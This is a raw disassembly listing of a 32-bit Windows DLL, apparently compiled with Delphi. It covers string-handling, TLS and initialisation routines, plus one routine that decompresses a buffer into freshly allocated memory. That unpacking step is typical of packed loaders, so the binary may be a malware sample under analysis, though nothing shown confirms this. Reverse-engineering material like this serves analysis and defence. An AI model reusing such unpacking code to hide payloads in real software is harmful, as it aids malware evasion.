sub_100030E8	proc near		; CODE XREF: CODE:10007934p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_100030EE:				; CODE XREF: sub_100030E8+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_1000310E
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_1000310E
		lock dec dword ptr [edx-8]
		jnz	short loc_1000310E
		lea	eax, [edx-8]
		call	sub_10002468


loc_1000310E:				; CODE XREF: sub_100030E8+Aj
					; sub_100030E8+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_100030EE
		pop	esi
		pop	ebx
		retn
sub_100030E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003118	proc near		; CODE XREF: CODE:100078B6p
		test	edx, edx
		jz	short loc_10003140
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_1000313C
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_1000315C
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_1000254C
		pop	edx
		pop	eax
		jmp	short loc_10003140
; ---------------------------------------------------------------------------


loc_1000313C:				; CODE XREF: sub_10003118+8j
		lock inc dword ptr [edx-8]


loc_10003140:				; CODE XREF: sub_10003118+2j
					; sub_10003118+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_1000315A
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_1000315A
		lock dec dword ptr [edx-8]
		jnz	short locret_1000315A
		lea	eax, [edx-8]
		call	sub_10002468

locret_1000315A:			; CODE XREF: sub_10003118+2Cj
					; sub_10003118+32j ...
		retn
sub_10003118	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000315C	proc near		; CODE XREF: sub_10003118+Fp
					; sub_10003188+Bp ...
		test	eax, eax
		jle	short loc_10003184
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_10002448
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_10003184:				; CODE XREF: sub_1000315C+2j
		xor	eax, eax
		retn
sub_1000315C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003188	proc near		; CODE XREF: sub_10002678+2Fp
					; sub_100031B8+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_1000315C
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_100031A9
		mov	edx, eax
		mov	eax, esi
		call	sub_1000254C


loc_100031A9:				; CODE XREF: sub_10003188+16j
		mov	eax, ebx
		call	sub_100030C4
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003188	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100031B8	proc near		; CODE XREF: sub_100033E0+36p
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_100031C5
		not	ecx


loc_100031C5:				; CODE XREF: sub_100031B8+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_10003188
sub_100031B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100031D0	proc near		; CODE XREF: CODE:100078C5p
					; CODE:100078DEp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_1000326E
		test	esi, esi
		jz	short loc_1000324B
		test	edi, edi
		jz	short loc_10003252
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_100031F3
		add	edx, eax


loc_100031F3:				; CODE XREF: sub_100031D0+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_1000321F


loc_100031F9:				; CODE XREF: sub_100031D0+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_10003259
		dec	edx
		jz	short loc_10003219
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_10003259
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_100031F9
		jmp	short loc_1000321F
; ---------------------------------------------------------------------------


loc_10003219:				; CODE XREF: sub_100031D0+32j
		add	esi, 4
		add	edi, 4


loc_1000321F:				; CODE XREF: sub_100031D0+27j
					; sub_100031D0+47j
		pop	edx
		and	edx, 3
		jz	short loc_10003247
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_1000326E
		dec	edx
		jz	short loc_10003247
		cmp	ch, bh
		jnz	short loc_1000326E
		dec	edx
		jz	short loc_10003247
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_1000326E


loc_10003247:				; CODE XREF: sub_100031D0+53j
					; sub_100031D0+5Ej ...
		add	eax, eax
		jmp	short loc_1000326E
; ---------------------------------------------------------------------------


loc_1000324B:				; CODE XREF: sub_100031D0+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_1000326E
; ---------------------------------------------------------------------------


loc_10003252:				; CODE XREF: sub_100031D0+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_1000326E
; ---------------------------------------------------------------------------


loc_10003259:				; CODE XREF: sub_100031D0+2Fj
					; sub_100031D0+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_1000326E
		cmp	ch, bh
		jnz	short loc_1000326E
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_1000326E
		cmp	ch, bh


loc_1000326E:				; CODE XREF: sub_100031D0+9j
					; sub_100031D0+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100031D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003274	proc near		; CODE XREF: sub_100072F4+182p
		test	eax, eax
		jz	short loc_1000327A
		retn
; ---------------------------------------------------------------------------
byte_10003279	db 0			; DATA XREF: sub_10003274:loc_1000327Ao
; ---------------------------------------------------------------------------


loc_1000327A:				; CODE XREF: sub_10003274+2j
		mov	eax, offset byte_10003279
		retn
sub_10003274	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003280	proc near		; CODE XREF: sub_1000258C+7Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_100032D5
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_100032B6
		cmp	dword ptr [eax-8], 1
		jnz	short loc_100032B6
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_10002488
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_100032DE
; ---------------------------------------------------------------------------


loc_100032B6:				; CODE XREF: sub_10003280+11j
					; sub_10003280+17j
		mov	eax, edx
		call	sub_1000315C
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_100032D5
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_100032D0
		mov	ecx, esi


loc_100032D0:				; CODE XREF: sub_10003280+4Cj
		call	sub_1000254C


loc_100032D5:				; CODE XREF: sub_10003280+Bj
					; sub_10003280+43j
		mov	eax, ebx
		call	sub_100030C4
		mov	[ebx], edi


loc_100032DE:				; CODE XREF: sub_10003280+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003280	endp

; ---------------------------------------------------------------------------
		align 4


loc_100032E4:				; DATA XREF: CODE:100034F4o
					; BSS:off_1000A000o
		mov	al, 11h
		jmp	sub_10002530
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100032EC	proc near		; CODE XREF: sub_10003358+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_10008020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_1000333F


loc_10003306:				; CODE XREF: sub_100032EC+51j
		xor	eax, eax
		push	ebp
		push	offset loc_10003327
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10003331
; ---------------------------------------------------------------------------


loc_10003327:				; DATA XREF: sub_100032EC+1Do
		jmp	loc_10002A34
; ---------------------------------------------------------------------------
		call	sub_10002BEC


loc_10003331:				; CODE XREF: sub_100032EC+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_10003306


loc_1000333F:				; CODE XREF: sub_100032EC+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_100032EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003348	proc near		; CODE XREF: sub_10003668+5p
		mov	edx, ds:off_1000801C
		mov	[eax], edx
		mov	ds:off_1000801C, eax
		retn
sub_10003348	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003358	proc near		; CODE XREF: sub_10002FD4+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_100033BC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_100032EC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100033C3


loc_10003385:				; CODE XREF: sub_10003358+69j
		mov	eax, [ebp+var_4]
		cmp	eax, ds:off_1000801C
		jnz	short loc_1000339C
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:off_1000801C, eax
		jmp	short loc_100033BB
; ---------------------------------------------------------------------------


loc_1000339C:				; CODE XREF: sub_10003358+36j
		mov	eax, ds:off_1000801C
		test	eax, eax
		jz	short loc_100033BB


loc_100033A5:				; CODE XREF: sub_10003358+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_100033B5
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_100033BB
; ---------------------------------------------------------------------------


loc_100033B5:				; CODE XREF: sub_10003358+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_100033A5


loc_100033BB:				; CODE XREF: sub_10003358+42j
					; sub_10003358+4Bj ...
		retn
; ---------------------------------------------------------------------------


loc_100033BC:				; DATA XREF: sub_10003358+Ao
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10003385
; ---------------------------------------------------------------------------


loc_100033C3:				; CODE XREF: sub_10003358:loc_100033BBj
					; DATA XREF: sub_10003358+28o
		pop	ecx
		pop	ebp
		retn
sub_10003358	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100033C8	proc near		; CODE XREF: sub_100072F4+265p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_100033D6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_100033D6:				; CODE XREF: sub_100033C8+8j
		call	ds:off_10008028
		pop	ebp
		retn
sub_100033C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100033E0	proc near		; CODE XREF: CODE:10003572p
					; CODE:10003583p

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_10003446
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_10001050	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_100031B8
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_1000275C
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_10003430
		xor	ebx, ebx


loc_10003430:				; CODE XREF: sub_100033E0+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000344D


loc_1000343D:				; CODE XREF: sub_100033E0+6Bj
		lea	eax, [ebp+var_10]
		call	sub_100030C4
		retn
; ---------------------------------------------------------------------------


loc_10003446:				; DATA XREF: sub_100033E0+Fo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_1000343D
; ---------------------------------------------------------------------------


loc_1000344D:				; CODE XREF: sub_100033E0+65j
					; DATA XREF: sub_100033E0+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_100033E0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100034A8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A5A4
		jnz	short loc_1000349A
		mov	eax, offset dword_1000A038
		call	sub_100026E4
		mov	eax, offset dword_1000A204
		call	sub_100026E4
		mov	eax, offset dword_1000A3D0
		call	sub_100026E4
		call	sub_1000184C
		mov	eax, offset dword_1000A64C
		call	sub_100030C4


loc_1000349A:				; CODE XREF: CODE:1000346Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100034AF


loc_100034A7:				; CODE XREF: CODE:100034ADj
		retn
; ---------------------------------------------------------------------------


loc_100034A8:				; DATA XREF: CODE:1000345Ao
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_100034A7
; ---------------------------------------------------------------------------


loc_100034AF:				; CODE XREF: CODE:loc_100034A7j
					; DATA XREF: CODE:100034A2o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100035A5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_1000A5A4, 1
		jnb	loc_10003597
		mov	ds:byte_10008008, 2
		mov	ds:off_1000A010, offset	sub_10001008
		mov	ds:off_1000A014, offset	sub_10001010
		mov	ds:byte_1000A036, 2
		mov	ds:off_1000A000, offset	loc_100032E4
		call	sub_10002838
		test	al, al
		jz	short loc_1000350C
		call	sub_10002868


loc_1000350C:				; CODE XREF: CODE:10003505j
		call	sub_1000292C
		mov	ds:word_1000A03C, 0D7B0h
		mov	ds:word_1000A208, 0D7B0h
		mov	ds:word_1000A3D4, 0D7B0h
		call	sub_10001048	; GetCommandLineA
		mov	ds:dword_1000A02C, eax
		call	sub_10001098
		mov	ds:dword_1000A028, eax
		call	sub_10001090	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_1000357E
		call	sub_10001090	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_1000356D
		mov	ds:dword_1000A5A8, 3
		jmp	short loc_1000358D
; ---------------------------------------------------------------------------


loc_1000356D:				; CODE XREF: CODE:1000355Fj
		call	sub_10001068	; GetThreadLocale
		call	sub_100033E0
		mov	ds:dword_1000A5A8, eax
		jmp	short loc_1000358D
; ---------------------------------------------------------------------------


loc_1000357E:				; CODE XREF: CODE:1000354Fj
		call	sub_10001068	; GetThreadLocale
		call	sub_100033E0
		mov	ds:dword_1000A5A8, eax


loc_1000358D:				; CODE XREF: CODE:1000356Bj
					; CODE:1000357Cj
		call	sub_10001088	; GetCurrentThreadId
		mov	ds:dword_1000A020, eax


loc_10003597:				; CODE XREF: CODE:100034CCj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100035AC


loc_100035A4:				; CODE XREF: CODE:100035AAj
		retn
; ---------------------------------------------------------------------------


loc_100035A5:				; DATA XREF: CODE:100034BAo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_100035A4
; ---------------------------------------------------------------------------


loc_100035AC:				; CODE XREF: CODE:loc_100035A4j
					; DATA XREF: CODE:1000359Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100035B0	proc near		; CODE XREF: sub_10003674+Cp
		jmp	ds:dword_1000B114
sub_100035B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100035B8	proc near		; CODE XREF: sub_100035D0+3p
		jmp	ds:dword_1000B110
sub_100035B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100035C0	proc near		; CODE XREF: sub_10003628+25p
					; sub_10003628+36p
		jmp	ds:dword_1000B10C
sub_100035C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100035C8	proc near		; CODE XREF: sub_100035E4+3Dp
		jmp	ds:dword_1000B108
sub_100035C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100035D0	proc near		; CODE XREF: sub_100035E4+21p
		push	eax
		push	40h
		call	sub_100035B8	; LocalAlloc
		retn
sub_100035D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100035DC	proc near		; CODE XREF: sub_100035E4+1p
		mov	eax, 8
		retn
sub_100035DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100035E4	proc near		; CODE XREF: sub_10003628:loc_10003642p
		push	ebx
		call	sub_100035DC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10003626
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_10003603
		mov	eax, 0E2h
		call	sub_100030B8
; ---------------------------------------------------------------------------


loc_10003603:				; CODE XREF: sub_100035E4+13j
		mov	eax, ebx
		call	sub_100035D0
		test	eax, eax
		jnz	short loc_1000361A
		mov	eax, 0E2h
		call	sub_100030B8
; ---------------------------------------------------------------------------
		jmp	short loc_10003626
; ---------------------------------------------------------------------------


loc_1000361A:				; CODE XREF: sub_100035E4+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_100035C8	; TlsSetValue


loc_10003626:				; CODE XREF: sub_100035E4+Aj
					; sub_100035E4+34j
		pop	ebx
		retn
sub_100035E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003628	proc near		; CODE XREF: sub_100024E4+20p
					; sub_1000253C+3p ...
		mov	cl, ds:byte_1000A650
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_1000365D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_10003642:				; CODE XREF: sub_10003628+3Dj
		call	sub_100035E4
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_100035C0	; TlsGetValue
		test	eax, eax
		jz	short loc_10003657
		retn
; ---------------------------------------------------------------------------


loc_10003657:				; CODE XREF: sub_10003628+2Cj
		mov	eax, ds:dword_1000A65C
		retn
; ---------------------------------------------------------------------------


loc_1000365D:				; CODE XREF: sub_10003628+Dj
		push	eax
		call	sub_100035C0	; TlsGetValue
		test	eax, eax
		jz	short loc_10003642
		retn
sub_10003628	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003668	proc near		; CODE XREF: sub_10003674+2Ep
		mov	eax, offset dword_10008088
		call	sub_10003348
		retn
sub_10003668	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003674	proc near		; CODE XREF: CODE:10007899p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_100035B0	; GetModuleHandleA
		mov	ds:dword_1000A654, eax
		mov	eax, ds:dword_1000A654
		mov	ds:dword_1000808C, eax
		xor	eax, eax
		mov	ds:dword_10008090, eax
		xor	eax, eax
		mov	ds:dword_10008094, eax
		call	sub_10003668
		mov	edx, offset dword_10008088
		mov	eax, ebx
		call	sub_10002E7C
		pop	ebx
		retn
sub_10003674	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100036DD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A658
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100036E4


loc_100036DC:				; CODE XREF: CODE:100036E2j
		retn
; ---------------------------------------------------------------------------


loc_100036DD:				; DATA XREF: CODE:100036BEo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_100036DC
; ---------------------------------------------------------------------------


loc_100036E4:				; CODE XREF: CODE:loc_100036DCj
					; DATA XREF: CODE:100036D7o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_1000A658, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10003715
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000371C


loc_10003714:				; CODE XREF: CODE:1000371Aj
		retn
; ---------------------------------------------------------------------------


loc_10003715:				; DATA XREF: CODE:100036F6o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10003714
; ---------------------------------------------------------------------------


loc_1000371C:				; CODE XREF: CODE:loc_10003714j
					; DATA XREF: CODE:1000370Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_1000A660, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003728	proc near		; CODE XREF: sub_100072F4+18Ap
		jmp	ds:dword_1000B14C
sub_10003728	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003730	proc near		; CODE XREF: sub_10007590+15p
					; sub_100075D4+15p
		jmp	ds:dword_1000B148
sub_10003730	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003738	proc near		; CODE XREF: sub_10007590+Fp
					; sub_10007590+23p ...
		jmp	ds:dword_1000B144
sub_10003738	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003740	proc near		; CODE XREF: sub_100072F4+1A7p
		jmp	ds:dword_1000B140
sub_10003740	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003748	proc near		; CODE XREF: sub_10007590+29p
		jmp	ds:dword_1000B13C
sub_10003748	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003750	proc near		; CODE XREF: sub_10007590+33p
		jmp	ds:dword_1000B138
sub_10003750	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003758	proc near		; CODE XREF: sub_100072F4+1C4p
		jmp	ds:dword_1000B134
sub_10003758	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003760	proc near		; CODE XREF: sub_100072F4+24Fp
		jmp	ds:dword_1000B130
sub_10003760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003768	proc near		; CODE XREF: sub_100072F4+243p
		jmp	ds:dword_1000B12C
sub_10003768	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003770	proc near		; CODE XREF: sub_100075D4+29p
		jmp	ds:dword_1000B128
sub_10003770	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003778	proc near		; CODE XREF: sub_100037E0+39p
					; sub_100038B0+38p ...
		jmp	ds:dword_1000B124
sub_10003778	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003780	proc near		; CODE XREF: sub_100072F4+1E2p
		jmp	ds:dword_1000B120
sub_10003780	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_10003788	proc near		; CODE XREF: sub_100072F4+201p
					; sub_100072F4+221p
		jmp	ds:dword_1000B11C
sub_10003788	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003790	proc near		; CODE XREF: sub_100072F4+9Bp
					; sub_100072F4+F0p
		xchg	eax, edx
		call	sub_1000254C
		retn
sub_10003790	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003798	proc near		; CODE XREF: sub_100072F4+140p
					; sub_100072F4+150p
		xor	ecx, ecx
		call	sub_1000273C
		retn
sub_10003798	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_100037C5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100037CC


loc_100037C4:				; CODE XREF: CODE:100037CAj
		retn
; ---------------------------------------------------------------------------


loc_100037C5:				; DATA XREF: CODE:100037A6o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_100037C4
; ---------------------------------------------------------------------------


loc_100037CC:				; CODE XREF: CODE:loc_100037C4j
					; DATA XREF: CODE:100037BFo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_1000A664, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_100037D8	proc near		; CODE XREF: sub_100037E0+5Ep
		jmp	ds:dword_1000B154
sub_100037D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_100037E0	proc near		; CODE XREF: sub_10007610+29p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	edi, edx
		mov	[esp+24h+var_24], eax
		xor	ebp, ebp
		mov	eax, [edi]
		mov	dword ptr [esp+24h+var_18], eax
		xor	eax, eax
		mov	dword ptr [esp+24h+var_18+4], eax
		fild	[esp+24h+var_18]
		fmul	flt_1000385C
		call	sub_100026D8
		mov	esi, eax
		push	4
		push	1000h
		push	esi
		push	0
		call	sub_10003778	; VirtualAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10003852
		xor	eax, eax
		mov	[esp+24h+var_1C], eax
		lea	eax, [esp+24h+var_1C]
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, [esp+2Ch+var_24]
		push	eax
		push	esi
		push	ebx
		mov	eax, [esp+38h+var_20]
		push	eax
		call	sub_100037D8	; RtlDecompressBuffer
		cmp	[esp+24h+var_1C], 0
		jz	short loc_10003852
		mov	eax, [esp+24h+var_1C]
		mov	[edi], eax
		mov	ebp, ebx


loc_10003852:				; CODE XREF: sub_100037E0+42j
					; sub_100037E0+68j
		mov	eax, ebp
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100037E0	endp

; ---------------------------------------------------------------------------
flt_1000385C	dd 1.25e1		; DATA XREF: sub_100037E0+22r
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10003885
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000388C


loc_10003884:				; CODE XREF: CODE:1000388Aj
		retn
; ---------------------------------------------------------------------------


loc_10003885:				; DATA XREF: CODE:10003866o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10003884
; ---------------------------------------------------------------------------


loc_1000388C:				; CODE XREF: CODE:loc_10003884j
					; DATA XREF: CODE:1000387Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_1000A668, 1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10003898	proc near		; CODE XREF: sub_100038B0+15p
		test	eax, eax
		jnz	short loc_100038A0
		or	eax, 0FFFFFFFFh
		retn
